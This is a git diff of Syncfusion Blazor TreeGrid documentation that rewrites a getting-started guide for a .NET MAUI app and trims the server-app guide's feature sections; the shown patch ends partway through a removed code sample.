-N> If you encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
-
-![Blazor TreeGrid Component](images/blazor-treegrid-component.webp)
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Defining columns
+## Add import namespaces
 
-The Tree Grid has an option to define columns using the [TreeGridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumns.html) directive. In the `TreeGridColumn` directive there are properties to customize columns.
-
-Let’s check the properties used here:
-* [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_Field) to map with a property name in datasource is been added.
-* [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_HeaderText) to change the title of columns is been added.
-* [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_TextAlign) to change the alignment of columns is been used. By default, columns will be left aligned. To change columns to right align, define **TextAlign** as *Right*.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.TreeGrid` namespaces.
 
 {% tabs %}
-{% highlight razor %}
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Priority" HeaderText="Priority" Width="80"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code{
-
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int Duration { get; set; }
-        public int Progress { get; set; }
-        public string Priority { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
+{% highlight razor tabtitle="~/_Imports.razor" %}
 
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
-    }
-}
+@using Syncfusion.Blazor 
+@using Syncfusion.Blazor.TreeGrid
 
 {% endhighlight %}
 {% endtabs %}
 
-In the above code example, the [Self-Referential](https://blazor.syncfusion.com/documentation/treegrid/data-binding#self-referential-data-bindingflat-data) data binding is represented in which the `IdMapping` and `ParentIdMapping` properties denotes the hierarchy relationship; whereas in [Hierarchical](https://blazor.syncfusion.com/documentation/treegrid/data-binding#hierarchy-data-binding) data binding [ChildMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_ChildMapping) denotes the hierarchy relationship.
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-## Enable paging
-
-The paging feature enables users to view the tree grid record in a paged view. It can be enabled by setting the  [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_AllowPaging) property to true. The pager can be customized using the [PageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_PageSettings) property.
-
-In root-level paging mode, paging is based on the root-level rows only, i.e., it ignores the child row count and it can be enabled by using the [PageSettings.PageSizeMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridPageSettings.html#Syncfusion_Blazor_TreeGrid_TreeGridPageSettings_PageSizeMode) property.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
 
 {% tabs %}
-{% highlight razor %}
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" AllowPaging="true">
-    <TreeGridPageSettings PageSizeMode="PageSizeMode.Root" PageSize="2"></TreeGridPageSettings>
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Priority" HeaderText="Priority" Width="80"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-@code{
-
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int Duration { get; set; }
-        public int Progress { get; set; }
-        public string Priority { get; set; }
-        public int? ParentId { get; set; }
-    }
+....
+using Syncfusion.Blazor;
 
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
+....
 
-    protected override void OnInitialized()
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-## Enable sorting
-
-The sorting feature enables to order the records. It can be enabled by setting the  [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_AllowSorting) property to `true`.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" AllowPaging="true" AllowSorting="true">
-    <TreeGridPageSettings PageSizeMode="PageSizeMode.Root" PageSize="2"></TreeGridPageSettings>
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Priority" HeaderText="Priority" Width="80"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code{
-
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int Duration { get; set; }
-        public int Progress { get; set; }
-        public string Priority { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
-    }
-}
+## Add stylesheet and script resources
 
-{% endhighlight %}
-{% endtabs %}
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
-![Blazor TreeGrid](images/blazor-treegrid.webp)
+```html
 
-## Handling exceptions
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-Exception handling in Tree Grid identifies exceptions and notifies them through the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridEvents-1.html#Syncfusion_Blazor_TreeGrid_TreeGridEvents_1_OnActionFailure) event. When configuring the Tree Grid or enabling specific features through its API, mistakes can occur. The `OnActionFailure` event can be used to manage these exceptions. This event triggers when such mistakes happen. The `OnActionFailure` event handles various scenarios, including:
+```
 
-* For CRUD operations, row drag and drop, and persisting the selection, ensure the [IsPrimaryKey](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_IsPrimaryKey) property is mapped to a unique data column. Failure to do so will cause an exception.
-* [Paging](https://blazor.syncfusion.com/documentation/treegrid/paging) is not supported with [Virtualization](https://blazor.syncfusion.com/documentation/treegrid/virtualization). Enabling `Paging` with `Virtualization` will result in an exception.
-* To render the Tree Grid, map either the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_DataSource) or [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_Columns) property. Failure to do so will result in an exception.
-* Freeze columns by mapping either [IsFrozen](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_IsFrozen) or [FrozenColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_FrozenColumns). Enabling both properties simultaneously will result in an exception.
-* The [DetailTemplate](https://blazor.syncfusion.com/documentation/treegrid/rows/detail-template) is not supported with `Virtualization` and `Stacked Header`. Enabling them with these features will result in an exception.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application. Refer to the [Style and Appearance](https://blazor.syncfusion.com/documentation/treegrid/custom-style) topic for customizing the DataGrid appearance and styling options.
 
-* The [FrozenRows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_FrozenRows) and `FrozenColumns` are not supported with [RowTemplate](https://blazor.syncfusion.com/documentation/treegrid/rows/row-template), `DetailTemplate`, and [Cell Editing](https://blazor.syncfusion.com/documentation/treegrid/editing/cell-editing). Enabling them with these features will result in an exception.
 
-* In `Stacked Header`, the [Freeze](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_Freeze) direction is incompatible with [Column Reordering](https://blazor.syncfusion.com/documentation/treegrid/columns/column-reorder).  
-* [Selection](https://blazor.syncfusion.com/documentation/treegrid/selection) functionality is not supported when using `RowTemplate`. Enabling both properties simultaneously will result in an exception.
-* Set the [TreeColumnIndex](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_TreeColumnIndex) value to display the tree structure. Make sure the value does not exceed the total column count, or it will result in an exception.
-* For `Virtualization`, do not specify height and width in percentages. Using percentages will result in an error.
-* When using the default filter ([FilterBar](https://blazor.syncfusion.com/documentation/treegrid/filtering/filter-bar)) type, do not apply the other [FilterType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.FilterType.html) to columns within the same tree grid, as this will result in an exception.
-* In Tree Grid, avoid enabling [IdMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_IdMapping) and [ChildMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_ChildMapping) simultaneously. Enabling both properties at the same time will result in an exception.
-* The [ShowCheckbox](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_ShowCheckbox) column should only be defined in the tree column. Defining it elsewhere will result in an exception.
-* The [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_TextAlign) right is not applicable for tree columns in the Tree Grid.  Enabling right alignment for tree columns will result in an exception.
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component
 
-The following code example shows how to use the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridEvents-1.html#Syncfusion_Blazor_TreeGrid_TreeGridEvents_1_OnActionFailure) event in the Tree Grid control to display an exception when `IsPrimaryKey`are not configured properly in the Tree Grid.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.TreeGrid;
-@using Syncfusion.Blazor.Data;
 
- <span class="error">@ErrorDetails</span>
 <SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
-    <TreeGridEditSettings AllowEditing></TreeGridEditSettings>
-    <TreeGridEvents TValue="BusinessObject" OnActionFailure="ActionFailure"></TreeGridEvents>
     <TreeGridColumns>
         <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
         <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
         <TreeGridColumn Field="StartDate" HeaderText="Start Date" Format="d" Type="Syncfusion.Blazor.Grids.ColumnType.DateOnly" Width="152" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
         <TreeGridColumn Field="StartTime" HeaderText="Start Time" Type="Syncfusion.Blazor.Grids.ColumnType.TimeOnly" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
     </TreeGridColumns>
 </SfTreeGrid>
-<style>
-    .error {
-        color: red;
-    }
-</style>
 
 @code{
-
-    private string ErrorDetails = "";
-    public class BusinessObject
+   public class BusinessObject
     {
         public int TaskId { get; set; }
         public string TaskName { get; set; }
@@ -414,12 +150,6 @@ The following code example shows how to use the [OnActionFailure](https://help.s
         public int? ParentId { get; set; }
     }
 
-    public void ActionFailure(Syncfusion.Blazor.Grids.FailureEventArgs args)
-    {
-        this.ErrorDetails = args.Error.Message.ToString();
-        StateHasChanged();
-    }
-
     public List<BusinessObject> TreeData = new List<BusinessObject>();
 
     protected override void OnInitialized()
@@ -429,25 +159,25 @@ The following code example shows how to use the [OnActionFailure](https://help.s
         TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", StartDate = new DateOnly(2021, 03, 06), StartTime = new TimeOnly(12, 00, 00), Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
         TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", StartDate = new DateOnly(2021, 03, 08), StartTime = new TimeOnly(13, 30, 00), Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
         TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", StartDate = new DateOnly(2021, 07, 10), StartTime = new TimeOnly(14, 00, 00), Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", StartDate = new DateOnly(2021, 10, 14), StartTime = new TimeOnly(17, 30, 00), Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", StartDate = new DateOnly(2021, 10, 16), StartTime = new TimeOnly(18, 00, 00), Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", StartDate = new DateOnly(2021, 02, 18), StartTime = new TimeOnly(19, 30, 00), Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
+        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 4, Priority = "Normal" });
     }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-## See also
-
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> JavaScript documentation](https://ej2.syncfusion.com/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> JavaScript (ES5) documentation](https://ej2.syncfusion.com/javascript/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Angular documentation](https://ej2.syncfusion.com/angular/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> React documentation](https://ej2.syncfusion.com/react/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Vue documentation](https://ej2.syncfusion.com/vue/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> ASP.NET Core documentation](https://ej2.syncfusion.com/aspnetcore/documentation/tree-grid/getting-started-core)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> ASP.NET MVC documentation](https://ej2.syncfusion.com/aspnetmvc/documentation/tree-grid/getting-started-mvc)
\ No newline at end of file
+### How to run the sample on Windows
+
+Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
+
+![Blazor TreeGrid Component](images/blazor-treegrid-maui-app.webp)
+
+### How to run the sample on Android
+
+To run the Blazor DataGrid in a Blazor Android MAUI application using the Android emulator, follow these steps:
+
+Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
+
+N> If you encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
+
+![Blazor TreeGrid Component](images/blazor-treegrid-component.webp)
\ No newline at end of file
diff --git a/blazor/treegrid/getting-started-with-server-app.md b/blazor/treegrid/getting-started-with-server-app.md
index 135af5f899..113d249c21 100644
--- a/blazor/treegrid/getting-started-with-server-app.md
+++ b/blazor/treegrid/getting-started-with-server-app.md
@@ -141,7 +141,8 @@ The theme stylesheet and script can be accessed from NuGet through [Static Web A
 
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application. Refer to the [Style and Appearance](https://blazor.syncfusion.com/documentation/treegrid/custom-style) topic for customizing the DataGrid appearance and styling options.
+
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component
 
@@ -164,256 +165,16 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 @using Syncfusion.Blazor.TreeGrid;
 
 <SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="5" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="30" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code
-{
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", ParentId = null });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", ParentId = 1 });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", ParentId = 1, });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", ParentId = null });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", ParentId = 4 });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", ParentId = 5 });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component in your default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNLzXiANJxYypVIp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeGrid](images/blazor-treegrid-component.webp)" %}
-
-## Defining columns
-
-The Tree Grid has an option to define columns using the [TreeGridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumns.html) directive. In the `TreeGridColumn` directive there are properties to customize columns.
-
-Let’s check the properties used here:
-* [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_Field) to map with a property name in datasource is been added.
-* [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_HeaderText) to change the title of columns is been added.
-* [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_TextAlign) to change the alignment of columns is been used. By default, columns will be left aligned. To change columns to right align, define **TextAlign** as *Right*.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.TreeGrid;
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Priority" HeaderText="Priority" Width="80"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code{
-
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int Duration { get; set; }
-        public int Progress { get; set; }
-        public string Priority { get; set; }
-        public int? ParentId { get; set; }
-    }
-
